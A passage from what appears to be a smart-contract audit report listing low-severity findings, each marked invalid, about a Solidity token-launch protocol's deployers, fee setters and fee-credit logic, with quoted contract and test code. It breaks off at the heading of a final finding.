    /// @param name Display name of the signal receipt token.
    /// @param symbol Ticker symbol of the signal receipt token.
    /// @return signalCoin Newly deployed SignalCoin.
    function deploy(IERC20 coin, string calldata name, string calldata symbol)
        external
        returns (SignalCoin signalCoin)
    {
        signalCoin = new SignalCoin(coin, name, symbol, msg.sender);
```
### `Uploaded archive/packages/contracts/src/core/SignalCoin.sol`
#### Lines 68-84 — _Constructor uses supplied name and symbol for receipt initialization and validates only the backing-token address._

```
    /// @notice Creates a launch-derived signal receipt and assigns deployment-time setup ownership.
    /// @dev Uses 18 decimals and EIP-712 version `1` for ERC20Votes signatures. Requires a deployed Coin contract
    ///      and nonzero owner. Renouncing ownership before binding Resonance permanently prevents setup.
    /// @param coin_ Standard ERC-20 Coin token deposited and returned one-for-one in raw units.
    /// @param name_ Wallet-visible signal receipt name derived from the Coin launch name.
    /// @param symbol_ Wallet-visible signal receipt symbol derived from the Coin launch symbol.
    /// @param initialOwner Deployment-time owner responsible for Resonance binding and optional creator signal funding.
    constructor(IERC20 coin_, string memory name_, string memory symbol_, address initialOwner)
        ERC20(name_, symbol_)
        EIP712(name_, "1")
        Ownable(initialOwner)
    {
        if (address(coin_) == address(0) || address(coin_).code.length == 0) {
            revert ZeroAddress();
        }
        coin = coin_;
    }
```
## Description

The standalone deployer accepts arbitrary receipt metadata from its caller and passes it directly into `SignalCoin`'s ERC-20 and EIP-712 initialization. There is no length bound, canonical Coin-name relationship, or registry check in `SignalDeployer.deploy`. Two independent callers can therefore deploy receipts with identical names and symbols, or names chosen to impersonate a canonical launch receipt, while the contracts remain unrelated. Canonical Launchpad supplies prefixed metadata and stores its graph, but that distinction is not enforced by the component-level deployer.
## Root cause

The component has no canonical identity binding or metadata constraints and treats caller-supplied display strings as protocol identity.
## Impact

Wallets, indexers, and integrations that identify signal receipts by name or symbol can be confused by independently deployed lookalikes. This does not by itself grant control over a canonical launch because each deployment has separate addresses and state, so the direct impact is metadata/integration ambiguity and caller-funded deployment gas growth.

---

# Semantic Dependencies Are Not Verified
**#303230**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/ResonanceDeployer.sol`
#### Lines 20-29 — _Public deployment entry point forwards all dependency addresses supplied by the caller and sets `msg.sender` as the initial owner._

```
    function deploy(
        IERC20 signalCoin,
        IERC20 usdg,
        address fund,
        BribeFactory bribeFactory,
        AuctionFactory auctionFactory,
        address signalManager
    ) external returns (Resonance resonance) {
        resonance = new Resonance(signalCoin, usdg, fund, bribeFactory, auctionFactory, msg.sender, signalManager);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 222-257 — _Constructor documentation and implementation show nonzero/code-length-only dependency validation followed by immutable binding; manager mode initializes `bribeBps` based only on whether the supplied manager is zero._

```
    /// @notice Creates the allocator with immutable token, Fund, factory, and initial governance dependencies.
    /// @dev Every token, Fund, and factory dependency must be nonzero and have deployed code. OpenZeppelin `Ownable`
    ///      rejects a zero `initialOwner`; later owner transfers take effect immediately. `initialSignalManager` may be any
    ///      wallet or zero. The shared factories derive authority from this calling Resonance and retain no binding
    ///      state; SignalCoin and ResonanceRouter are bound separately during canonical Launchpad assembly.
    /// @param signalCoin_ Non-transferable signal receipt and sole signal coordinator.
    /// @param usdg_ ERC-20 revenue token; canonical deployments use USDG with six decimals, which is not enforced.
    /// @param fund_ Treasury receiving the non-Bribe share of Auction payments.
    /// @param bribeFactory_ Shared stateless factory that deploys each Strategy's caller-controlled Bribe.
    /// @param auctionFactory_ Shared stateless factory for this Resonance's Auction and BribeRouter pairs.
    /// @param initialOwner Deployment-time governance address for the bounded administration surface.
    /// @param initialSignalManager Exclusive signal-adding wallet, or zero to begin with community signaling.
    constructor(
        IERC20 signalCoin_,
        IERC20 usdg_,
        address fund_,
        BribeFactory bribeFactory_,
        AuctionFactory auctionFactory_,
        address initialOwner,
        address initialSignalManager
    ) Ownable(initialOwner) {
        if (
            address(signalCoin_) == address(0) || address(usdg_) == address(0) || fund_ == address(0)
                || address(bribeFactory_) == address(0) || address(auctionFactory_) == address(0)
                || address(signalCoin_).code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || address(bribeFactory_).code.length == 0 || address(auctionFactory_).code.length == 0
        ) revert ZeroAddress();

        signalCoin = signalCoin_;
        usdg = usdg_;
        fund = fund_;
        bribeFactory = bribeFactory_;
        auctionFactory = auctionFactory_;
        signalManager = initialSignalManager;
        bribeBps = initialSignalManager == address(0) ? DEFAULT_BRIBE_BPS : 0;
    }
```
## Description

`ResonanceDeployer.deploy` accepts arbitrary caller-supplied token, treasury, and factory addresses and forwards them directly to `Resonance`. The constructor verifies only that these five addresses are nonzero and have deployed bytecode; it does not verify that `signalCoin` implements the expected SignalCoin coordinator, that `usdg` is the intended revenue token, that `fund` is the corresponding ownerless Fund, or that the factories implement the expected stateless factory behavior. A code-bearing but semantically incompatible dependency can therefore be permanently bound into an independently deployed Resonance, and later `addStrategy`, signal, revenue, or auction flows can revert or route value through the wrong implementation. This is a configuration-integrity defect in the public independent-deployment surface; canonical `Launchpad` deployments supply the intended graph, so the defect does not cross into other Resonance instances.
## Root cause

The constructor treats deployed bytecode as sufficient proof that each dependency matches the protocol configuration it is intended to instantiate. `ResonanceDeployer.deploy` provides no canonical-identity, interface-behavior, or cross-component consistency checks before committing these immutable bindings.
## Impact

A caller can deploy a Resonance that appears initialized but is unusable or economically miswired, for example by binding a token with incompatible transfer behavior, a non-Fund treasury, or a factory that does not create the expected child contracts. Users who subsequently rely on that independently deployed instance can lose availability or interact with an unintended graph, while the deployer’s lack of registry and cross-instance state prevents this path from changing canonical launches.

---

# Controller accepts mismatched launch components
**#303233**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/ControllerDeployer.sol`
#### Lines 17-22 — _Permissionless deployment forwards all caller-supplied graph arguments directly to FundController._

```
    function deploy(address creator, address coin, Mine mine, Resonance resonance)
        external
        returns (FundController controller)
    {
        controller = new FundController(creator, coin, mine, resonance);
    }
```
### `Uploaded archive/packages/contracts/src/core/FundController.sol` (2 locations)
#### Lines 36-50 — _Constructor checks only nonzero addresses and deployed bytecode before storing immutable references; no cross-component binding is checked._

```
    /// @notice Creates creator administration with immutable references to the assembled launch components.
    /// @param initialOwner Creator initially controlling configuration through this controller.
    /// @param coin_ Coin belonging to this launch.
    /// @param mine_ Mine administered by this controller after setup.
    /// @param resonance_ Resonance administered by this controller after setup.
    constructor(address initialOwner, address coin_, Mine mine_, Resonance resonance_) Ownable(initialOwner) {
        if (
            coin_ == address(0) || address(mine_) == address(0) || address(resonance_) == address(0)
                || coin_.code.length == 0 || address(mine_).code.length == 0 || address(resonance_).code.length == 0
        ) revert ZeroAddress();

        coin = coin_;
        mine = mine_;
        resonance = resonance_;
    }
```
⋯
#### Lines 52-74 — _Controller forwarding methods consume the independently stored Coin, Mine, and Resonance references._

```
    /// @notice Forwards a metadata update while this controller owns Coin.
    /// @dev Coin stores and validates the URI and emits TokenURISet. Reverts after Coin ownership is handed away.
    function setMetadataURI(string calldata newURI) external onlyOwner {
        Coin(coin).setTokenURI(newURI);
    }

    /// @notice Immediately transfers Coin ownership to a nonzero address.
    /// @dev Mint authority remains independently locked to Mine.
    function transferCoinOwnership(address newOwner) external onlyOwner {
        Coin(coin).transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Mine ownership to a nonzero address.
    /// @dev This controller loses Mine administration as soon as the transfer succeeds.
    function transferMineOwnership(address newOwner) external onlyOwner {
        mine.transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Resonance ownership to a nonzero address.
    /// @dev This controller loses Resonance administration as soon as the transfer succeeds.
    function transferResonanceOwnership(address newOwner) external onlyOwner {
        resonance.transferOwnership(newOwner);
    }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 260-267 — _Canonical launch passes its internally assembled component addresses, establishing why the mismatch is a standalone-deployer/configuration issue._

```
        result.controller = address(
            controllerDeployer.deploy(
                result.originalCreator, result.coin, Mine(result.mine), Resonance(result.resonance)
            )
        );
        _addStrategies(result, config);
        _grantCreator(result);
        _completeOwnership(result);
```
## Description

`ControllerDeployer.deploy` accepts arbitrary `coin`, `mine`, and `resonance` addresses and passes them directly into `FundController`. The constructor checks only that each address is nonzero and has bytecode; it does not verify that `Mine.coin()` equals `coin`, that the Mine and Resonance share the same launch graph, or that the supplied components are mutually bound. Consequently, a caller can deploy a controller whose immutable Coin reference differs from the Coin actually minted by its Mine, while the controller still exposes owner-authorized forwarding methods over that Mine and Resonance. The canonical `Launchpad` path passes its own `result.coin`, `result.mine`, and `result.resonance`, so this defect is reachable through the standalone permissionless deployer rather than demonstrated in the canonical launch flow.
## Root cause

The constructor treats deployed bytecode as sufficient validation for related protocol components and never enforces cross-component identity, particularly the invariant that `mine.coin()` equals `coin`. `ControllerDeployer` exposes this unchecked constructor to arbitrary callers.
## Impact

The supplied creator can end up administering a controller that reports or updates one Coin while its Mine mints another Coin, creating a permanently inconsistent control plane and potentially sending subsequent owner configuration to the wrong protocol instance. This does not by itself grant control over an unrelated instance: the creator must already cause the target components to be owned by the new controller, so the consequence is misconfiguration and isolation failure rather than unauthorized asset theft.

---

# Undelayed Fee Recipient Changes
**#303234**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (2 locations)
#### Line 32 — _Launchpad uses Ownable2Step, establishing the ownership model but not a delay for configuration setters._

```
contract Launchpad is ReentrancyGuard, Ownable2Step {
```
⋯
#### Lines 282-286 — _The owner-only setter immediately overwrites the live protocol-fee recipient and emits an event._

```
    /// @notice Sets the recipient of future mining protocol fees, preserving previously accrued claims.
    function setProtocolFeeRecipient(address recipient) external onlyOwner {
        address previous = protocolFeeRecipient;
        protocolFeeRecipient = recipient;
        emit ProtocolFeeRecipientSet(previous, recipient);
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 278-286 — _Each nonzero mining payment snapshots the current Launchpad recipient and rate._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
```
⋯
#### Lines 396-412 — _The snapshotted recipient receives a claim entry and the remainder is computed without rewriting prior entries._

```
        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
```
### `Uploaded archive/packages/contracts/test/minimal/Launchpad.t.sol`
#### Lines 527-534 — _The owner-only recipient update is exercised and the new recipient is observable immediately._

```
    function test_OnlyLaunchpadOwnerCanChangeProtocolFeeRecipient() external {
        vm.prank(ALICE);
        vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, ALICE));
        launchpad.setProtocolFeeRecipient(BOB);

        launchpad.setProtocolFeeRecipient(BOB);
        assertEq(launchpad.protocolFeeRecipient(), BOB);
    }
```
## Description

`Launchpad.setProtocolFeeRecipient` writes the live mining protocol-fee beneficiary directly in the same transaction and has no timelock, activation delay, or pending-value separation. The only authorization is `onlyOwner` inherited through `Ownable2Step`; two-step ownership delays ownership transfer, but it does not delay this configuration call. Every existing `Mine` reads `launchpad.protocolFeeRecipient()` immediately before allocating each nonzero payment, so a newly selected recipient applies to the next paid replacement across all existing Mines. This is distinct from the accepted ability to choose an arbitrary or zero beneficiary: the issue is that an authorized owner can activate that choice without notice or a delay.
## Root cause

The recipient setter performs an immediate live-state assignment and relies solely on owner authorization; it has no timelocked or two-phase activation path for fee-routing changes. `Mine` intentionally consumes that live value on each paid replacement, making the immediate change effective across existing Mines.
## Impact

A current or compromised Launchpad owner can redirect the protocol-fee share of the next paid mining replacement from every existing Mine to a newly selected address, or disable future protocol accrual by selecting zero, before users or operators can react. Previously accrued claims are not redirected because Mine credits the snapshotted beneficiary and claims are paid from that beneficiary's mapping entry; the exposure is limited to future protocol-fee revenue and requires the privileged owner role.

---

# Immediate Global Mining Fee Repricing
**#303235**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 282-295 — _Owner-only recipient and rate setters; the rate is range-checked and assigned immediately._

```
    /// @notice Sets the recipient of future mining protocol fees, preserving previously accrued claims.
    function setProtocolFeeRecipient(address recipient) external onlyOwner {
        address previous = protocolFeeRecipient;
        protocolFeeRecipient = recipient;
        emit ProtocolFeeRecipientSet(previous, recipient);
    }

    /// @notice Sets the rate of future mining protocol fees within the existing 1 to 200 basis-point bounds.
    function setProtocolFeeBps(uint256 feeBps) external onlyOwner {
        if (feeBps < MIN_PROTOCOL_FEE_BPS || feeBps > MAX_PROTOCOL_FEE_BPS) revert InvalidProtocolFeeBps(feeBps);
        uint256 previous = protocolFeeBps;
        protocolFeeBps = feeBps;
        emit ProtocolFeeBpsSet(previous, feeBps);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 275-287 — _Every positive-price replacement snapshots the current Launchpad protocol recipient and rate._

```
        paymentAmount = _price(previousSlot);
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }
```
⋯
#### Lines 396-412 — _The snapshotted protocol rate determines the claimable protocol amount and exhaustive revenue remainder._

```
        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
```
### `Uploaded archive/packages/contracts/test/minimal/Launchpad.t.sol`
#### Lines 494-523 — _Existing Mines retain prior claims but apply the changed global protocol rate to later replacements._

```
    function test_ProtocolFeeChangesAffectExistingMinesAndPreserveCreatorRatesAndAccruedClaims() external {
        launchpad.setProtocolFeeBps(10);
        Launchpad.LaunchRecord[2] memory launches;
        launches[0] = _launch(ALICE, "First Fee Coin", "FEE1", "ipfs://fee1");
        launches[1] = _launch(BOB, "Second Fee Coin", "FEE2", "ipfs://fee2");
        for (uint256 i; i < launches.length; ++i) {
            Mine launchedMine = Mine(launches[i].mine);
            assertEq(_mineLaunched(launchedMine, ALICE), 1e6);
            assertEq(launchedMine.claimablePayment(CREATOR_FEE), 5_000);
            assertEq(launchedMine.claimablePayment(PROTOCOL_FEE), 1_000);
        }
        vm.prank(ALICE);
        FundController(launches[0].controller).setCreatorFeeBps(200);
        assertEq(Mine(launches[0].mine).creatorFeeBps(), 200);
        assertEq(Mine(launches[1].mine).creatorFeeBps(), 50);

        launchpad.setProtocolFeeBps(200);
        vm.warp(block.timestamp + 30 minutes);
        for (uint256 i; i < launches.length; ++i) {
            Mine launchedMine = Mine(launches[i].mine);
            uint256 creatorAccrual = i == 0 ? 20_000 : 5_000;
            assertEq(launchedMine.claimablePayment(CREATOR_FEE), 5_000);
            assertEq(launchedMine.claimablePayment(PROTOCOL_FEE), 1_000);
            assertEq(_mineLaunched(launchedMine, BOB), 1e6);
            assertEq(launchedMine.claimablePayment(CREATOR_FEE), 5_000 + creatorAccrual);
            assertEq(launchedMine.claimablePayment(PROTOCOL_FEE), 21_000);
            assertEq(launchedMine.claimablePayment(ALICE), 800_000);
            assertEq(usdg.balanceOf(launches[i].resonanceRouter), 1_174_000 - creatorAccrual);
            assertEq(usdg.balanceOf(launches[i].mine), launchedMine.totalClaimablePayments());
            assertEq(usdg.balanceOf(launches[i].mine) + usdg.balanceOf(launches[i].resonanceRouter), 2e6);
```
## Description

`Launchpad.setProtocolFeeBps` is restricted to the current `Ownable2Step` owner and enforces the inclusive 1–200 basis-point range, but it writes the new rate immediately with no timelock, activation delay, or per-Mine notice period. Every existing `Mine` reads `launchpad.protocolFeeBps()` during each positive-price replacement, so the setter changes the fee applied by all already-deployed Mines on the next paid replacement. `Mine` snapshots the rate before token transfers and preserves prior claim balances, but that only prevents retroactive rewriting; it does not prevent an owner from changing the economics immediately before a user’s replacement transaction. The repository’s own integration test confirms that changing the Launchpad rate affects existing Mines’ subsequent payments, demonstrating this is a live global switch rather than a launch-time parameter.
## Root cause

The protocol-fee setter performs an immediate global state update, while each Mine consumes the current Launchpad value at replacement time. There is no timelock, pending-rate state, activation timestamp, or other delay separating governance configuration from the next user-paid mining replacement.
## Impact

A trusted Launchpad owner can immediately increase or decrease the protocol share for every existing Mine, including immediately before a permissionless paid replacement, redirecting the split between the protocol claim and the revenue destination without a delay for users or operators to react. Previously accrued claims are preserved, so the consequence is prospective economic surprise and governance-controlled fee redirection rather than theft of already-accrued balances.

---

# FullRangeERC20 fee-recipient zero-address lockout risk
**#303239**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (2 locations)
#### Lines 248-258 — _claim reverts and leaves credit stuck if beneficiary transfer fails_

```
    /// @notice Anyone may deliver a credit, but only to its recorded beneficiary.
    function claim(bytes32 id, address beneficiary, address token) external nonReentrant returns (uint256 amount) {
        amount = claimable[id][beneficiary][token];
        if (amount != 0) {
            claimable[id][beneficiary][token] = 0;
            poolClaimable[id][token] -= amount;
            totalClaimable[token] -= amount;
            IERC20(token).safeTransfer(beneficiary, amount);
            emit Claimed(id, beneficiary, token, amount);
        }
    }
```
⋯
#### Lines 414-432 — _Fee credits keyed to recipient snapshotted at collection time_

```
    function _credit(bytes32 id, address token, uint256 fees, address creatorRecipient) private {
        if (fees == 0) return;
        address protocolRecipient = IFullRangeFeeResolver(factory).protocolFeeRecipient();
        uint256 creatorAmount;
        if (protocolRecipient == address(0)) {
            creatorAmount = fees;
        } else {
            // Carry the fractional creator share across collections and recipient changes.
            uint256 numerator = fees * 7000 + _creatorRemainder[id][token];
            creatorAmount = numerator / 10_000;
            _creatorRemainder[id][token] = uint16(numerator % 10_000);
        }
        uint256 protocolAmount = fees - creatorAmount;
        claimable[id][creatorRecipient][token] += creatorAmount;
        if (protocolAmount != 0) claimable[id][protocolRecipient][token] += protocolAmount;
        poolClaimable[id][token] += fees;
        totalClaimable[token] += fees;
        emit FeesCredited(id, token, creatorRecipient, protocolRecipient, creatorAmount, protocolAmount);
    }
```
## Description

`FullRangeERC20.setCreatorRecipients` and the constructor both require `coinRecipient`/`baseRecipient` to be nonzero, which is good, but `FullRange._credit` resolves the protocol recipient dynamically via `IFullRangeFeeResolver(factory).protocolFeeRecipient()` on every fee collection and credits claimable fees to whatever that resolves to at call time, including potentially a previously-valid but now-unreachable address (e.g. a renounced/abandoned `FundController` or a contract that cannot call `claim`). Since `claimable[id][creatorRecipient/protocolRecipient][token]` is keyed by the recipient snapshotted at collection time, if the LP token owner later changes creator recipients, or the factory owner changes the protocol recipient, previously accrued but unclaimed balances remain attributed to the old address. This is consistent with documented behavior ('existing credits retain their beneficiary'), so it's intentional design, but combined with no rescue mechanism, fee claims. If a recipient address is a contract with no way to call `FullRange.claim`, or becomes inaccessible (e.g. a burned/renounced owner's chosen address), fees permanently freeze for that credit, with no governance override to reroute or recover.
## Root cause

Fee credits are permanently keyed to the recipient address snapshotted at collection time with no governance-level recovery path if that recipient later becomes unable to receive the token.
## Impact

A protocol integrator or LP-token owner who misconfigures a fee recipient (sets it to a contract address that cannot initiate `claim`, or to an address later abandoned) permanently loses access to that pool's share of credited LP swap fees, with the `FullRange` contract itself offering no corrective owner-level override or rescue function.

---

# Launchpad seed-shares slippage check omits creator grant ordering
**#303240**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 344-386 — __seedPool computes realized deposits/shares; _addStrategies uses static pre-specified prices independent of realized outcome_

```
    /// @dev Seeds the market, locks its LP shares, clears approvals and returns or burns unused seed amounts.
    function _seedPool(LaunchRecord memory r, address feeRecipient, uint256 minShares, uint256 deadline) private {
        FullRange hook = poolFactory.hook();
        FullRangeERC20 pool = poolFactory.create(r.coin, r.baseToken, address(this), feeRecipient, feeRecipient);
        r.pool = address(pool);
        Coin(r.coin).mint(address(this), r.coinSeedAmount);
        IERC20 base = IERC20(r.baseToken);
        uint256 beforeBalance = base.balanceOf(address(this));
        base.safeTransferFrom(r.originalCreator, address(this), r.baseSeedAmount);
        if (base.balanceOf(address(this)) - beforeBalance != r.baseSeedAmount) revert UnsupportedBaseTransfer();
        base.forceApprove(address(hook), r.baseSeedAmount);
        IERC20(r.coin).forceApprove(address(hook), r.coinSeedAmount);
        (r.depositedCoinAmount, r.depositedBaseAmount, r.genesisShares, r.sqrtPriceX96) =
            hook.initializeAndSeed(pool.poolId(), r.coinSeedAmount, r.baseSeedAmount, minShares, deadline);
        // The hook returns shares minted to Launchpad; its minimum shares already went to the dead address.
        IERC20(r.pool).safeTransfer(genesisLock, r.genesisShares);
        // Record the total locked issuance, including that minimum.
        r.genesisShares += hook.MINIMUM_LIQUIDITY();
        base.forceApprove(address(hook), 0);
        IERC20(r.coin).forceApprove(address(hook), 0);
        r.poolId = pool.poolId();
        uint256 refund = r.baseSeedAmount - r.depositedBaseAmount;
        if (refund != 0) base.safeTransfer(r.originalCreator, refund);
        r.burnedCoinDust = r.coinSeedAmount - r.depositedCoinAmount;
        if (r.burnedCoinDust != 0) Coin(r.coin).burn(r.burnedCoinDust);
    }

    function _addStrategies(LaunchRecord memory r, LaunchConfig calldata config) private {
        r.paymentTokens = new address[](3);
        r.auctions = new address[](3);
        r.bribes = new address[](3);
        r.bribeRouters = new address[](3);
        _addStrategy(r, 0, r.baseToken, config.baseAuctionPrice);
        _addStrategy(r, 1, r.coin, config.coinAuctionPrice);
        _addStrategy(r, 2, r.pool, config.lpAuctionPrice);
    }

    function _addStrategy(LaunchRecord memory r, uint256 index, address token, uint256 price) private {
        Auction.Config memory config = Auction.Config(price, AUCTION_EPOCH_DURATION, AUCTION_PRICE_MULTIPLIER, price);
        r.paymentTokens[index] = token;
        (r.auctions[index], r.bribes[index], r.bribeRouters[index]) =
            Resonance(r.resonance).addStrategy(IERC20(token), config);
        emit InitialStrategyCreated(r.coin, index, token, r.auctions[index], r.bribes[index], r.bribeRouters[index]);
```
## Description

In `_seedPool`, `minShares` (the caller-supplied `config.minimumGenesisShares`) protects only the pool-seeding step against sandwich/slippage risk on the Uniswap V4 price at seed time (`quoteSeed`/`initializeAndSeed`). However, the three `_addStrategy` calls that follow use caller-supplied `config.baseAuctionPrice/coinAuctionPrice/lpAuctionPrice` as both `initialPrice` and `minimumPrice` for each Dutch auction with no on-chain sanity bound tying them to the actual seeded market price or deposited token amounts (only the absolute `ABSOLUTE_MINIMUM_PRICE`/`ABSOLUTE_MAXIMUM_PRICE` bounds in `Auction`'s constructor apply). Because `_seedPool` runs before `_addStrategies`, and `depositedCoinAmount`/`depositedBaseAmount` (actual used seed, which can differ from requested maxima — see `UnsupportedBaseTransfer`/refund/burn logic) are only known after seeding completes, a creator who miscalculates `lpAuctionPrice` relative to final `genesisShares` can inadvertently create a drastically mispriced LP-share auction (as shown by tests deliberately using a tiny `lpAuctionPrice` to demonstrate a near-free LP auction sale). While this requires creator error/choice and is largely intentional design (the creator picks prices), the lack of any cross-check between realized deposited amounts and auction starting prices is a sharp edge that an inattentive creator (or front-end bug) can trigger, resulting in that creator's own LP position becoming acquirable far below fair value by any buyer monitoring new launches.
## Root cause

Dutch-auction starting prices for all three initial strategies are fixed by caller input before the pool's actual realized seed ratio is known, with no on-chain cross-validation tying auction price to realized deposited amounts or genesis shares.
## Impact

A launch whose `lpAuctionPrice` is set without accounting for the pool's actual realized seed ratio (determined only after seeding completes) can expose newly locked governance/creator-owned strategy state to drastic mispricing, letting any buyer acquire the LP strategy auction inventory far below fair value shortly after launch.

---

# Factory-trusted decimals() call unguarded against reverting tokens
**#303243**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 440-447 — _decimals() called without try/catch inside compound validation condition_

```
        if (block.timestamp > c.deadline) revert DeadlinePassed();
        if (
            bytes(name).length == 0 || bytes(name).length > MAX_NAME_BYTES || bytes(symbol).length == 0
                || bytes(symbol).length > MAX_SYMBOL_BYTES || c.baseToken.code.length == 0 || c.baseSeedAmount == 0
                || c.coinSeedAmount == 0 || c.coinSeedAmount > MAX_COIN_SEED_AMOUNT
                || c.creatorCoinAmount > MAX_CREATOR_COIN_AMOUNT || IERC20Metadata(c.baseToken).decimals() > 18
                || (c.receiveSwapFees && creatorFeeRecipient == address(0))
        ) revert InvalidLaunchConfig();
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol`
#### Lines 52-56 — _decimals() called directly on caller-supplied coin/base without try/catch_

```
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
```
## Description

`Launchpad._validate` (`packages/contracts/src/launch/Launchpad.sol:433-454`) checks `c.baseToken.code.length == 0` and then calls `IERC20Metadata(c.baseToken).decimals()` in the same compound condition (line 445); likewise `FullRangeFactory.create` (`packages/contracts/src/fullrange/FullRangeFactory.sol:52-56`) checks `IERC20Metadata(coin).decimals() > 18` directly on caller-supplied `coin`/`base` addresses. Any ERC-20-like contract that has code but reverts, returns malformed data, or omits `decimals()` (non-standard tokens are explicitly out of scope per project docs, but code presence alone does not guarantee ABI compliance) causes the entire `launch()` transaction to revert with no distinguishing error, surfacing as a generic revert rather than a clear validation failure. This is a low-severity robustness/DoS-on-self gap rather than an exploitable asset-loss path, since the caller/creator is the one supplying the malformed base token and only harms their own launch attempt.
## Root cause

`Launchpad._validate` and `FullRangeFactory.create` both call `IERC20Metadata(token).decimals()` on caller-supplied token addresses without a try/catch, relying only on `code.length != 0` to guarantee the call succeeds.
## Impact

A creator who supplies a base token lacking a conforming `decimals()` implementation (while still having deployed code) causes `launch()` to revert deep in validation with an unhelpful generic revert reason, degrading UX and making failures harder to diagnose, though it does not create cross-user fund risk since the caller only affects their own transaction.

---

# Unverified helper can replace canonical Coin
**#303244**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (3 locations)
#### Lines 200-218 — _Constructor validates injected dependencies only through `_requireContract`, which checks deployed bytecode._

```
    /// @notice Binds verified stateless deployers, the pool factory, USDG and mining fee administration.
    constructor(
        IERC20Metadata usdg_,
        LaunchDeployers memory deployers_,
        FullRangeFactory poolFactory_,
        address initialOwner,
        address initialProtocolFeeRecipient
    ) Ownable(initialOwner) {
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
```
⋯
#### Lines 321-326 — _Launchpad trusts the address returned by `coinDeployer.deploy` as `r.coin` and wires it into Fund and SignalCoin deployment._

```
    function _deployCoinAndSignal(LaunchRecord memory r, string calldata name, string calldata symbol) private {
        r.coin = address(coinDeployer.deploy(name, symbol, r.originalCreator, r.creatorNonce));
        r.fund = address(fundDeployer.deploy(r.coin));
        r.signalCoin =
            address(signalDeployer.deploy(IERC20(r.coin), string.concat("Signal ", name), string.concat("s", symbol)));
    }
```
⋯
#### Lines 334-340 — _Subsequent setup calls use the returned Coin address through typed casts._

```
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
```
## Description

